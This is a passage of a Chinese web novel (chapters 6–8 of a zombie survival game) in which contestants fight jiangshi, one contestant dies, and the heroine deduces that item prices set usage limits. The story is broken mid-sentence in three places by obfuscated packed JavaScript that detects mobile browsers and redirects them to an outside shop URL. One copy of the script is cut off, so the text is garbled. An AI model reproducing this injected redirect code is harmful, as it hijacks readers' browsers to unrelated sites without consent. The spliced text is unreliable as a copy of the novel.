盛悦:“好吧,你们跟我来。” 拽着仁老爷往楼梯跑去,其余人紧紧跟上,独留胖男生一人躲在木桌底下。 他们快步跑上楼梯来到二楼,几人的身影刚在楼梯间消失,院大门外,“崩!”最后一道墨线崩断,僵尸彻底失去禁锢,瞬间涌了进来。 脚踩在糯米上,“滋滋滋!”如同生肉倒入油锅,僵尸们一阵抽搐怪叫,雪白的糯米转瞬间变得乌黑。排在最前面的几具僵尸跌倒下去,化作的齑粉与米粒掺在一起,后面更多的僵尸补上来。 空旷的院子很快被这群怪物占满,它们仿佛知道仁老爷的位置,目标明确地跳进正房大门,涌进客厅,缩在木桌下的胖男生顿时呜咽一声,捂住自己的嘴。 他肠子都悔青了,刚才就应该跟大家一起逃上楼的! 僵尸们跳到楼梯前,由于楼梯很窄,只能供一人通过,僵尸们集体停住,手举在前方,一具跟着一具排队跳上去,剩下的就安安静静地排队,竟有一种乖巧感。 “咚、咚、咚……” 在狭窄的通道中回响,木制的老旧台阶不断发出吱嘎声,灰尘掉落。 此时的盛悦手握一把桃木剑,定定地站在台阶的顶端,冷眼俯视着不断跳上来的僵尸,夏凉站在盛悦旁边,手中同样握着桃木剑。 二人的身后,陈语圆与男模哥拉着墨斗线,护住中间的仁老爷,他们身后是一扇打开的门,门外是露天走廊。 第一具僵尸还没完全跳上来,泛黄的眼珠就已忽略众考生,直勾勾地盯向仁老爷,阴狠的目光里闪烁着找到血债仇人的兴奋。 僵尸扬起一个极其僵硬扭曲的笑容。 仁老爷吓得直往陈语圆背后缩。 僵尸刚跳上最后一层台阶,盛悦侧身一步躲开尖指甲,将桃木剑直直送进僵尸腹部。 吼——— 桃木剑利落拔出,丝毫不拖泥带水,盛悦浑身带着股煞气,目光冷灼,一时间竟比面前的僵尸还要像鬼。 僵尸化作粉末,堆落在地板上。 盛悦:怪不得那两个显眼包那么得瑟,这剑确实好使,杀僵尸跟戳豆腐一样轻松。 第二具僵尸紧接着跳进二楼,盛悦没有管它,而是把它交给夏凉。 流苏耳饰晃动,肤色偏黑的女生动作果断眼神坚定,比起盛悦,她气势中更多的是一种张扬又沉稳的野性,也成功解决掉僵尸。 二人就这么你一具我一具,借助楼梯狭长空间的优势,慢慢消灭僵尸大军,遇到僵尸上来太快的情况,盛悦就一脚踹过去,将其连带着后面的所有僵尸通通踹跌到最底端。 计划进行得格外顺利。 “按照这个情况,只要一直这么杀下去,我们就能完成任务了!”身后,陈语圆脸上露出久违的笑容,男模哥跟着扬起发白的嘴唇:“太好了……” 二人的中间,仁老爷却显得不那么开心,望着地板上已经可以堆城堡的齑粉,他双手攥紧衣袍,神情莫名的焦躁。 夏凉又解决完一具僵尸,额头析出一层薄汗,对盛悦道:“你这个战术真的很好。” 盛悦从腐肉中抽出桃木剑:“谢……谢夸奖。” 夏凉:“没想到你还挺厉害,我本来都要对这次游戏不抱希望了。”毕竟有刘折和那个泡面头一直在倒油,其他人虽然不拖后腿,却也几乎帮不上忙。 陈语圆的态度非常积极,但说实话,她也帮不上什么忙。 盛悦:“……嗯。” 夏凉:“如果能进到大学里,咱们可以一起组队。” 组队…… 盛悦顿时浑身一僵,感到一阵胸闷窒息,胸口仿佛被布条紧紧勒住一般,满脑子都是:你不要过来啊! 盛悦往旁边站了一步,好像离她远一点,就可以喘过来气一样。 盛悦从小学一年级开始,就在学校里独来独往,在家独处也是家常便饭。 母父都从事重体力劳动,回家后,他们基本倒头大睡,也不怎么关注她。 在他们的观念里,把孩子喂饱,然后送她去上学,这就足够了。 因此盛悦的这二十年基本上都是一个人过的,一开始盛悦还非常渴望朋友,渴望母父的陪伴,但是同学们、邻居家的孩子都躲着她,看到她就跑,不欺负她都算好的,而母父也陪不了她。 渐渐地,盛悦开始封闭自我,变得越来越孤僻,到最后演变成主动抗拒亲密关系,抗拒一切社交。只要有人对她释放出一点善意,试图拉进关系,甚至只是最简单的身体接触,盛悦都会感到生理心理双重不适,想要逃走。 这种感觉就像是有人要把他的灵魂强行融合进自己的灵魂里一样,尤其的痛苦。 盛悦在一旁浑身刺挠、抓心挠肝,夏凉却一点也感觉不到,还在自我感觉良好地问:“对了,你是学什么……” 她话还没问完,便愣住了,表情骤然变得不可置信。 盛悦同样如此,痛苦全然消失,只剩下沉默,仿佛时间静止一般望着自己的右手——— 就在二人前后捅完一具僵尸后,她们手上原本完好无损的桃木剑“咔擦”一声,碎了。 数节碎片从手中脱落,掉在地上,只留下光秃秃的剑柄还握在手中。 盛悦:“……” 沉浸于拉上学搭子的夏凉:“……” 陈语圆和男模哥:“!!” 所有人傻在原地。 这什么情况?!?!?! 盛悦大脑空白一瞬,紧接着重新飞速运转起来,脑海中浮现不久前刘折两手空空从僵尸大军中逃出来的画面,她立即反应过来是怎么一回事,闭上眼皮骂了一声。 艹,她早该想到的! 敢情这桃木剑不仅贵,还有使用次限? 为什么不在介绍里写清楚?! 然而祸不单行,众人很快迎来第二件更加令人绝望的事情。 * 四合院一侧厢房的屋顶,刘折与锡纸烫男整齐地撅着腚,趴在后方的斜坡上。 锡纸烫男手中握着自己的桃木剑,问道:“刘哥,咱们为什么不去帮忙?”他并不清楚刘折桃木剑损坏的原因,还以为只是他力气用大了。 刘折此时还处于崩溃失神的状态。 如果所有道具都和桃木剑一样有次数或是时长的限制的话,那么他们……还能活着出去吗…… 锡纸烫男:“刘哥?刘哥?” 刘折回过神,看向傻兮兮的锡纸烫男,即使再绝望,也忍不住逞起了嘴快:“你傻啊……我这是为了保护你,反正杀僵尸有他们在,咱们浑水摸鱼到通关……多好。” 锡纸烫男眨眨眼睛,心里旋即涌起一股温暖,手搭在刘折的肩头,鼻子泛酸道:“刘哥,跟着你,我真是跟对了……” 刘折没有听到,没有反应,继续愣神。 * 正房二楼里,陈语圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342965|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指向一具新跳上来的僵尸,眼睛瞪得跟铜铃一样圆:“它、它好像能看见你们了!” 盛悦、夏凉:? 二人转头,就见这具僵尸不再只是死死盯住仁老爷,而是仿佛能察觉到什么一般,失焦的眼珠子在她们之间来回寻找。 盛悦一脚把它踹下去,从裤兜里掏出隐身符,符中的红色纹路变淡了许多。 盛悦心一沉:“隐身符的时限快到了,僵尸很快就能完全看到我们。” 三人:什么!!! 短发女生和低马尾女生:“什么?!” 从一旁紧闭的衣柜里夺门而出,出现在众人的眼前,短发女生急切道:“那我们现在怎么办?” 盛悦:“……” 夏凉、陈语圆、男模哥:“……” 男模哥被吓一跳:“纳尼?你们一直都躲在里面?”衣柜就在他身旁的一米处。 短发女生尴尬地揉了一下鼻子,拉回话题:“咳,对啊……但这不是重点,重点是隐身符失效了,我们该怎么办!” 所有人看向盛悦寻求办法,她已在不知不觉间成为了队伍的领导者。 僵尸跟狗皮膏药一样又跳了上来。 盛悦巡视一番,跑过去抄起一张近处的木椅子,朝僵尸的脑袋上呼过去。 “崩!” 木椅子碎了,僵尸的脑袋却依旧完好无损。 盛悦:……好吧,看来不是僵尸跟豆腐一样软,而是桃木剑太厉害了。 她抬起头,没有防备地和僵尸四目相视在一起,顿时鸡皮疙瘩掉了一地。 僵尸没有任何表情,脸上却仿佛写满了幽怨,眼珠子死死瞪着盛悦,貌似是被打疼了。 盛悦此刻终于能与被自己吓到的人感同身受:“……你好恐怖。”一脚踹过去,再一次将它踹到了楼梯底端。 夏凉:“你还有别的办法吗?” 盛悦:“哎,只剩下一个了……跑!” 在五人不解的注视中,盛悦拔腿就跑。 跑到一半回头,见夏凉还没有动作,她哎了一声,抓起夏凉的手,拉着往前跑,见跟着一起跑了,她赶忙松开手。二人跑到陈语圆面前,陈语圆也半天不动,显然还不敢相信他们真的没有办法了。 盛悦只得在心里骂了一句,手掌碰触她的肩头,把她轻轻推向走廊,解释道: “这局已经没指望了,攻击道具没有,保命道具也没有,咱们都被耍了……所以还是下一局再努力吧,性命更重要。” 众人闻言,只得放弃这轮游戏,毕竟他们也想不到办法,所有人进入走廊里,唯独留下仁老爷一人。 仁老爷一阵慌乱,正要跟着他们一起出去,突然被盛悦拦住。 盛悦看向他:“那个……我们走了啊,你保重。”随即贴心地关上门。 “什么?!”仁老爷瞪大的眼珠子透过门中窗露出来。 正房有两层楼,两侧的厢房只有一层楼,正房二楼走廊的两端与厢房屋顶之间有一道两米不到的间隔,一行人匆匆地跟着盛悦跑向走廊尽头。 男模哥:“姐,我们去哪里?前面没路了。” 盛悦:“跟我来就对了。” 仁老爷推开走廊门,叫喊着追在后面:“你们不能丢下我不管!我付了你们钱的!” 那50个铜币吗……打发鬼呢…… 盛悦边跑边回头:“那你去写差评好了。” 她爬上栏杆,纵身一跃,动作一气呵成,轻松越过间隔,稳稳落在对面厢房的屋顶,转过身招手:“快跳过来。” 众人:……帅呆了。 夏凉愣了一下,第二个爬上栏杆,所有人为她捏把汗,手虚扶在后面,好在她的身手也足够敏捷,成功落在了屋顶的边沿,被盛悦拉了一把。 崴了脚的男模哥:“那我怎么办!” 还有陈语圆,她比男模哥还崩溃:“我也不行,我立定跳远才一米!” 6. 僵尸小游戏4 盛悦想了想,来到屋顶的边沿,朝对面伸出一条腿,踩在对面凸出的地方上,让自己的身体横跨在间隔之上,在空中形成一座人桥。 盛悦内心悲壮无比,面上没有任何表情,语气却十分坚定,她张开双臂,示意:“来。” 对面的女生们:“……” 她们这哪里敢随便来! 这名新人瘦得简直只剩下排骨,胳膊跟麻秆一样细,就算她确实有些运动细胞,但是在空中劈叉的同时,还要接住一个人,难度属实过大了。 她们定在原地不敢上前,但男模哥敢,他早就见识过这名新人的怪力,没有任何犹豫地应声配合。 踩上栏杆,扶着柱子蹲在上面,他深呼一口气,说了句我来了后,如同一只巨大的黑色炸弹,朝盛悦砸了过去。 “!” 女生们呼吸齐齐一窒,有点不敢看了,陈语圆直接捂住了眼睛,感觉成敏的腿随时都会被压断,然后两个人一起摔到地上。 不过她们担心的并没有发生,盛悦稳稳地接住了男模哥,支撑在半空中的身体丝毫没有抖动,轻松得就像抱着一只比自己块头大许多的黑色玩偶。 盛悦上半身转动,将男模哥往厢房屋顶一丢,男模哥落到屋顶上,滚了一圈。 走廊里的女生们看呆了,夏凉:“……你是武术生吧。” 盛悦心想也差不多,接着道:“你们快来,没时间了。” 有了示范,女生们不再犹豫,见身后仁老爷快要追上来,她们一个接一个爬上栏杆,跳到盛悦的怀里,然后被丢到对面去。 现在只剩下陈语圆还留在走廊上。 圆脸女生颤颤巍巍地爬上栏杆,抱住一旁的柱子,不敢从栏杆上站起来,只能保持跪着的姿势。 夏凉表情掩盖不住担忧:“加油小圆,你可以的!” 男模哥也鼓励道:“没那么吓人,只要别看下面就行了!” ……什么,看下面? 陈语圆低下头,顿时一阵头晕目眩,差点栽下去,赶紧把柱子抱得更紧了,脸颊贴在上面。 她目测自己距离地面至少有五米的高度,从这个高度摔下去,摔在坚硬的石板地上,砸到脑袋就是死路一条,运气好一点也会断胳膊断腿。 陈语圆声线颤抖了起来:“妈妈呀……” 男模哥:……你话是只能听一半吗? 这时,她的身后传来仁老爷怒骂的声音:“你不许跑!”声音快速逼近,似乎下一秒就会把她拽回到走廊里。 “啊!”陈语圆着急了,想赶紧往前跳,却不想忘记自己是跪在栏杆上的,腿根本使不上力,整个人顿时往前栽了出去,离盛悦都还差出一大截的距离。 陈语圆“啊!”的惨叫一声,朝地面坠落。 厢房屋顶的众人:“!!!” 夏凉惊叫:“陈语圆!” 盛悦眼睛猛地睁大,下颌紧绷,她上半身前倾,尽可能地伸出胳膊,试图抱住陈语圆。 结果抱是抱住了,但她踩在两端的脚却先后踩了空,整个人顿时失去支撑,跟着陈语圆一起朝地面摔去。 众人:“啊啊啊啊啊!” 夏凉抱住脑袋,尖叫卡在喉咙里,几乎要将喉咙划破。 盛悦在失去支撑后,感受到了一瞬的失重感,这刺激着她的感官变得更加敏锐,她动态视线捕捉到前上方凸出的一块,那里本是她脚踩的地方,一只手拼命朝那里够去。 好在身体是朝对面的方向扑过去的,她的手指及时够到了凸出的地方,绷紧发力,另一只手紧紧搂住陈语圆的腰,二人坠落的身体同时停止了下来,脚离地面仅剩下不到两米的距离。 但是,只停住了一秒的时间。 停住的那一刻,盛悦感觉到自己的手指和手腕,连带着整条手臂都传来了撕裂拉扯的剧烈疼痛,两个人的重量全部吊在了这几根纤细的手指上,她的手臂都仿佛被一道闪电贯穿而过。 坚持了一秒便彻底失去抓力,盛悦松开手,在摔到地面之前,半空翻滚,将陈语圆护在了自己的身体之上。 扑通。 后背砸在了地面上,紧接着是后脑勺,盛悦感觉胸骨都快被震碎了,喉咙蔓延上一股血腥味。 仁老爷呼哧呼哧跑到走廊尽头,往下看,就刚好看见两名考生摔到了地上。 他想着跳到对面屋顶去,可一把老骨头腿都抬不起来,只得扒在栏杆上骂:“我诅咒你们!听到了吗,我诅咒你们!”可惜没有人关注他。 他的身后,门默默被打开,数具僵尸跳进走廊,把身体转向他。 屋顶上的人来不及放松,心又被提了起来,最后只听扑通一声,两名女生摔在了地上。 夏凉心脏跟着拧痛了一下,跪在屋顶朝下看,语气里满是着急:“成敏!陈语圆!你们没事吧!” 陈语圆从盛悦的怀里爬坐起来,看到盛悦躺在地上,唇色惨白,蜷缩着身体,捂住一只受伤的手,疼到不停地发抖。她鼻子一酸,眼泪唰地掉了下来: “呜呜呜呜!成敏……对不起……!” 盛悦看了她半天,进入这里以来第一次微微勾了一下唇角,慢慢坐起身,忍住捏一下女孩脸颊的冲动,声音沙哑道:“没事,就当还你发绳的人情了。” 陈语圆愣住,圆脸像一只包子:“这怎么行……” 盛悦却不再煽情,站起身,把陈语圆也拉了起来,抬头回夏凉:“我们没事,你们在上面待着,我和她去正街里躲躲,这局就快结束了。” 夏凉听到成敏的声音都变虚弱了许多,道:“……好,你们快去吧。”心中骂了起来,这个缺德的老爷怎么还没死! 陈语圆搀扶着盛悦快步往四合院大门外走去,二人在门前最后看了一眼僵尸。 盛悦:“希望它们不会来得及追上来。” 二人跨出门槛,很快消失在黑暗与浓雾中。 而屋顶这边,考生们看都不看仁老爷一眼,向远处跑去,任由他在那里咒骂。 夏凉朝四合院外看,古楼的屋顶层层叠叠,一直延伸到天际线,她试探地伸出手,顿时有一股巨大的斥力阻止她的行为,整个游戏场地就只有T形古街和四合院而已。 夏凉俯视院中间的空地,绝大部分僵尸都已进入正房,只剩下队伍尾端的几具还停在门外排队。 众人在屋顶跑动时,队伍尾端的僵尸朝他们远远地看过来,跟随他们的位置转动身体。 夏凉骂一句脏话,现在这么远的距离都能注意到他们了吗! “大伙们,等僵尸来追咱们,咱们就把动静闹得大一点,吸引它们的注意,尽量别让它们去追成敏和陈语圆。” 其余人:“好!” 在屋瓦的清脆声中,夏凉眯起眼睛,随着视角变换,前方的斜坡上露出刘折和锡纸烫男,他们屁股朝天,身后摆着一只破木梯。 看到后,夏凉想起来这是正街里靠墙摆放的那只,也是整条街上摆放着的唯一的物品,二名男生不知什么时候把它搬了回来。 她顿时怒火中烧:“好好好,之前喊了这么久不回答,原来在这里装孙子呢!” 更令她气愤的是,四合院的面积就这么大,这两个人不可能没注意到他们刚才的动静,听到成敏她们要去正街里躲避僵尸时,明知这么做风险极大是无奈之举,二人身后就是木梯,却依然无动于衷! 夏凉加快速度冲了出去。 两名男生听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏凉简直没眼看,转身望向不远处的正房二楼走廊,仁老爷此时正靠在栏杆上拼命地摇头摇手,朝不断跳近的僵尸们求饶。 虽然是游戏NPC,设定还是个黑心地主坏老头,但毕竟是个大活人,看着僵尸攻击他的画面,她的心中还是有些不舒服。 夏凉暗下决心,第二轮一定要通关,所有人赶紧离开这个鬼地方。 “啊啊啊啊救命啊啊啊啊啊!” 就在这时,一段响亮的海豚音从正房一楼大门里飙出来。 耳膜被刺激,声音太熟悉,众人一惊,这才想起来队伍落了一个人,是那个络腮胡胖男! 隐身符的能力减弱,客厅中的僵尸们发现了木桌底下的胖男生。 男模哥奇怪:“他不是有静止符吗,怎么没用?难道那个道具也有时限?” 夏凉:“不,应该没有,静止符和糯米、墨斗一样都是一次性消耗品,不该存在时间限制的,你手里的墨斗不就还好好的吗?” 男模哥看着手中的墨斗,心道也是。 短发女生:“你们快看,他出来了!” 所有人看过去,就见胖男生一边哭喊一边推开僵尸,跌跌撞撞地从门里跑出来,身后越来越多的僵尸注意到他。 夏凉连忙招手:“这边!快过来!” 其余人加入呼喊。 胖男生循声看去,脸上的眼镜不翼而飞,把眼睛眯成两道极细的缝隙,终于勉强看清楚,顿时露出希望的笑容,一边挥舞双臂一边跑过来:“喂!喂!你们怎么上去的,快救救我!” 夏凉:“快把木梯放下去!” 众人:“好!”转身七手八脚地搬起木梯,靠在屋檐上放好。 随着距离靠近,男生浑身上下数道鲜红色的划痕,在灰色建筑中显得愈发清晰刺眼。 众人面色一白,动作犹豫了起来。 他被僵尸划伤了。 7. 僵尸小游戏5 夏凉:“……先把他拉上来吧,总不能真的放任他被僵尸追。” 她说罢看向锡纸烫男口袋里的最后一把桃木剑,还没有碎,应该可以用,如果胖男生尸变了,也不是没有办法解决。 众人纷纷表示可以。 短发女生抬头看,突然道:“你再跑快一点,僵尸来追你了!” 胖男生闻言回头,对上十几双昏黄的死人眼珠子:“啊!”不禁加快步伐,拼命摆臂,赘肉在奔跑中抖动。 隐身符的效用消失殆尽,僵尸们终于能够完全发现考生的存在,低吼着朝胖男生大步跳来。 夏凉蹲在屋顶干着急:“你静止符呢?快用啊!” 胖男生:“我本来想用的,但是眼镜掉了看不清上面的字!然后……” 他不继续说了,夏凉:“然后你就把它扔了?!” 胖男生哭着脸:“我太害怕了!脑子不清醒……” 夏凉扶额,我看你清醒的时候脑子也不咋地。 胖男生终于跑到木梯前,颤抖的双手死死抓住横杆,慌乱地往上蹬腿,整只梯子顿时吱嘎吱嘎响,笔直的结构变得左右大幅度倾斜起来。 同一时间,正房二楼的走廊,仁老爷拼了老命,终于在僵尸的尖指甲刺进自己屁股的前一秒翻过了栏杆,掉出楼,重重地摔到了地面上。 仁老爷:“诶呦!” 夏凉一阵牙酸,从五米的高度摔下来,这把老骨头也差不多废了。 看着仁老爷慢慢爬动,男模哥感叹:“真顽强啊。” 原本追逐胖男生的僵尸们顿时被仁老爷吸引走大半火力,中途改变方向,朝在地上爬的灰袍男人跳去。 胖男生这边,他爬到了梯子的上端,不断地往下看,看僵尸到哪儿了。 夏凉催促:“快点爬!把手伸给我们!” 她和男模哥早已在梯子前准备好,等胖男生伸出手把他拉上来。 这时,锡纸烫男凑了过来,先前狗眼看人低的态度一扫而光:“那个……要不让我来吧,我力气比较大。” 夏凉:“……”你鬼附身了? 后退一步,让开位置:“行,你来。” 锡纸烫男凑过去,和男模哥并排单膝跪地。 胖男生爬到顶端,单手抓稳木梯,伸出另一只手:“给!” 一瞬间,屋顶上的所有人都沉默了。 五根尖锐的亮蓝色指甲长在胖男生的手指上,锋利而刺眼,朝两名男生的脸刺过来。 男模哥、锡纸烫男:“……” 拉,还是不拉,这是个问题。 胖男生:“你们怎么不拉我……啊啊啊啊!”看到自己的手,他瞪大双眼尖叫起来,木梯因为他的乱动,重心改变,直直地朝后栽倒下去。 屋顶上的众人惊呼,伸出手企图抓住木梯,但抓了个空气。 木梯连带着胖男生,重重砸进追过来的僵尸队伍中,立即压趴了好几具僵尸,胖男生躺在肉垫上,被更多的僵尸包围在最中间,图穷匕见地拿木梯挡住自己,嗓子都哑了:“救我!” 夏凉夺过锡纸烫男上衣口袋中的桃木剑扔过去:“快接住!憋住呼吸!” 桃木剑正好落在胖男生的手附近,可他慌张得连剑柄都握不住了,憋气三秒就破功,只能绝望地大喊:“求求你们了救救我!” 夏凉拳头握紧,焦急地看向另一边,僵尸们也已经将仁老爷团团围住。如果仁老爷先被杀死,胖男生或许还有生还的机会。 可惜,老天不太想给胖男生这个机会,数不清的尖指甲穿过木梯伸向男生的身躯,一阵惨烈至极的嚎叫穿刺进所有人的耳朵里,考生们害怕地闭上眼睛捂住耳朵。 惨叫消失,僵尸跳开,重新露出混身布满血窟窿、惊目圆睁的胖男生,他嘴巴大张,双手张牙舞爪地举在半空,还保持着生前挣扎的姿势。 他再也不会尖叫了。 夏凉闭上眼睛别过头,不愿再看。 【考生罗坤死亡,游戏通关失败。重复一遍,考生罗坤死亡,游戏通关失败。】 冰冷的机械音填满上空。 男模哥拳头抵住嘴唇,强压下翻涌而上的酸水,低马尾女生靠在短发女生身上,肩膀抖动…… 夏凉看向气氛陷入低谷、沉默不语的众人,声音沙哑道:“别怕,已经结束了……” 没过多久,不远处传来仁老爷的惨叫,考生们无动于衷,还沉浸在胖男生的死亡之中,灯火通明的四合院迅速暗了下去,所有人闭上眼睛。 同一时间,另一头正街的深处,两侧的古楼门窗都无法打开,盛悦和陈语圆只得靠墙坐了下来。 也不知道是不是她们离得比较远的原因,僵尸到现在都没有追过来。 陈语圆在黑暗中努力看着盛悦的手,想帮忙包扎,但又不知道该怎么做,害怕会越弄越糟,只能干着急。 这时,二人听到夜空中响起罗坤死亡的广播,还来不及惊讶,她们便感觉到自己的眼睛不受控制地闭了起来。 【当夜,可怜的仁老爷惨死在僵尸的攻击下。】 【第一轮游戏失败,第二轮游戏正在开启中……】 * 双脚踩在坚实的陆地上,耳边寂静无声,盛悦睁开眼睛,她重新站在了四合院前的路口上。 环顾四周,院大门紧闭,看不到一具僵尸的影子,一片死寂。 【第二轮游戏开启,已跳过探索剧情环节,进入选购道具环节,请考生们点击下方小程序,尽快购买道具吧~】 【倒计时15:00、14:59、14:58……】 播报消失。 陈语圆睁开眼睛后立即跑向盛悦,其余人也围了上去,这回有了照明,盛悦手的伤势清晰地展现在众人眼前——— 五根手指和手腕不同程度的肿胀扭曲,瘀血堵在皮肤之下发青发紫,鲜血从指节撕裂的伤口中缓缓流淌出来,连带着整条手臂都没有办法移动。 众人:……嘶,看着就好疼。 顿时,“你没事吧?”“你没事吧?”的关心将盛悦包围住。 盛悦长这么大,还是头一次被这么多人关心,有些懵逼和局促。 ……我没事啊,你们有溜溜梅吗? 陈语圆的双手停在她受伤的手旁,跟着颤抖起来,眼泪又掉了下来。 盛悦:“……你别哭了。”再哭就有点像在哭丧了。 “我是自愿救的你,所以你不用有太大的心理负担。”而且你再哭的话,她就要开始有心理负担了。 陈语圆也知道自己有点烦人了,吸了几下鼻子,不再出声,只是暗自下决心,接下来豁出自己的性命,也要保护成敏。 短发女生凑了过来:“你的伤势非常严重,需要立即就医,我是学护理的,可以帮你处理一下伤口,延缓恶化的时间。” 她深知自己先前对这名新人的态度有点过分,一直对她抱有误解,因此想要补救。 盛悦挠了挠脸:“那……麻烦你了,不过等一会儿吧,咱们先……” 她话还没说完,陈语圆这边刚结束,队伍边缘的低马尾女生又肩膀抽搐,脸憋得通红,哇的一声蹲在了地上。 所有人看向她,有些惊讶。 低马尾女生之前一直都默不作声,虽然状态不太好,但还算冷静,可现在…… 众人看向她露出的左手虎口,明白了。 就连现实里考科目二连续四次不通过,都能让人崩溃得怀疑人生,更不用说在这里了。 通关失败是真的会死人的。 当各种负面的情绪一直被积压隐忍,一旦破了个小口,所有的情绪都会瞬间爆发。 “怎么办呐……为什么道具会突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342967|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失效啊,这次的游戏好难,比之前的都要难……如果还不能通关……我……我……” 虎口处的“一”字仿佛一根毒刺扎在皮肤里,低马尾女生脸埋在手臂中,不停倾吐着苦水。 从死亡到现在,她实在经历了太多。 本来她都已经因为这名新人的到来而生起了一丝希望,可现在,她也受伤了。 她的哭声同时成为了众人的情绪宣泄口,每个人都紧闭双唇,垂眸看着她。 夏凉和短发女生蹲下来,手搭在她的肩头上。 男模哥也走过去,唇色发白,眼眶发红:“其实,这也是我的第四次游戏了,如果失败,那下一次游戏就是我的最后机会……所以我完全能理解你的心情。” 就连锡纸烫男都面露几分心疼和急切,唯独刘折沉浸在自己的情绪里,大剌剌地躺到了地上,唇角噙着淡淡的弧度,看着天低声笑了起来,摆得不能再烂了。 众人的情绪都很低落。 盛悦视线扫过他们,大声咳嗽一声,引得众人看向她。 见注意力到了自己身上,盛悦:“那个,情绪发泄完了吧,我直接开始复盘了啊:上一轮我们都被游戏规则骗了,规则跟我们打了个信息差,故意略去道具的使用次限和时限,害得我们的思维和计划完全偏离,非常卑鄙,但这不是我们的错,同时,这还暴露了一个更严峻的问题。” 夏凉最先从负面情绪中脱离出来,接话:“什么问题?” 盛悦的面色惨白无比,神情却无比认真淡然,言简意赅:“不够,铜币数量不够。” 刘折躺在地上,语气跟老大爷一样,冷哼一声:“铜币不够,呵,那你要多少,一百枚还是一千枚?” 夏凉和陈语圆大步走去,被盛悦拦住,摇摇头,表示这不值得,接着说: “我之前还在疑惑,为什么游戏要给我们三轮机会,明明考试已经有五次机会了,这么做的意义不就重复了?现在我明白过来了,游戏第一轮的目的,就是要整蛊我们折磨我们,同时还要告诉我们一则信息:使用寻常的办法是行不通的。” 低马尾女生哭声减小,从膝盖上抬起脸看向说话的新人,一抽一抽。 夏凉皱眉:“什么意思?” 盛悦:“还记得你在楼梯前杀的僵尸数量是多少吗?我杀了七具。” 夏凉:“……我没数,不过咱俩的数量应该是同步的,都是七具。” 盛悦:“对,在我们杀完第七具僵尸后,桃木剑就都碎了。重点不是碎了,而是七这个数字,对于七你们想到了什么?” 夏凉思考起来,很快抓到了什么:“是桃木剑的价格!7枚铜币每把……所以,道具的价格表明了它的次效和时效!” 原本迷迷糊糊思考的其余人眼中生起光芒。 ……还能这样?? 盛悦点头:“道具的次限在这个游戏里是非常重要的信息,因此考虑到游戏的公平性和完整性,设计者是绝对不可以抛去这则消息提示的,但又为了达到刚才我说的效果,他们就会把信息隐藏在规则中,暗戳戳地告诉我们。” 所有人顺着盛悦的思路思考,所以……7枚铜币的桃木剑只可以杀死7具僵尸,按照这个标准,他们就算把所有铜币都拿去购买桃木剑,也最多只能杀死50具僵尸。 然而方才游戏里出现的僵尸,数量绝对远超这个数字! 所以,用购买的道具杀僵尸这种寻常的办法是不可行的! 所有人倒吸一口凉气,神情恍然。 盛悦见他们的表情,用好的那只手打了个响指:“就是这个意思。” 等等,夏凉皱起眉头,那之前在房顶…… 她望向刘折,表情中多了些怒意:“所以你之前说的’我们通不了关’的那句话是这个意思?其实你一早就知道了,但是不告诉我们?!” 8. 僵尸小游戏6 那时她还以为这是单纯的摆烂发言。 此话一出,所有人都看向地上的人,露出惊讶的神情。 锡纸烫男、众人:“!” 盛悦、陈语圆:“?” 不过盛悦细想一下,也是,刘折当时和锡纸烫男说要比谁杀的僵尸多,所以他肯定数数了,联想一下就会发现杀僵尸的数量与桃木剑价格一样。不然逃出僵尸大军的时候,他不会害怕成那个样子,现在也不会伏地摆烂。 在众人的怒视之中,刘折丝毫没有心虚和愧疚,反而笑了一下,有一种我早就看透了真相但我不说的得意,继续装死。 “你!”夏凉心脏都快气出嗓子眼了,如果他当时立马把发现告诉众人的话,他们就不会把僵尸引去楼梯慢慢解决,而是会提早放弃,直接开始下一轮。 这样成敏就不会受伤了……络腮胡胖男也不会死! 夏凉朝刘折大步而去,不想这时,身旁一道白色的身影先一步冲了过去,一脚踹在他不可描述的部位上。 “啊!!!”刘折痛苦面具,四肢高高举天。 众人牙关一紧,仿佛听到了蛋碎的声音,齐声鼓掌叫好,其中就属锡纸烫男的声音最大:“姐踹得好!解气!” 其余人看向他:……你那么激动干嘛? 盛悦吐出一口气,感觉到一身轻松,扔下刘折在那里满地打滚,道:“不浪费时间了,准备第二轮吧。” * 众人聚集在屏幕前,低马尾女生也红着眼睛挤在队伍里,短暂的发泄过后,她的心态平稳了很多,安静地看着屏幕。 只有放弃自我的刘折还躺在地上护着关键部位,嗷嗷叫。 锡纸烫男看他一眼,眼神中透露出失望。 夏凉滑动道具列表:“生糯米每袋只可以杀两具僵尸,墨斗能杀五具,静止符5枚铜币……应该就是暂停僵尸的时长,五分钟。” 考生们一路看下去,最后视线停在列表的最后一项,大红灯笼。 陈语圆:“这是什么,灯笼只可以亮三分钟?还是一串只有三只灯笼?” 盛悦:“灯笼是目前唯一无法确认的道具,游戏的破局点或许就在这里。” 夏凉:“我知道了,是灯笼里的烛火,僵尸怕火啊!” 众人:……对哦,差点忘了。 几乎所有僵尸题材的影视作品里,火不都是最有毁灭力的武器吗! 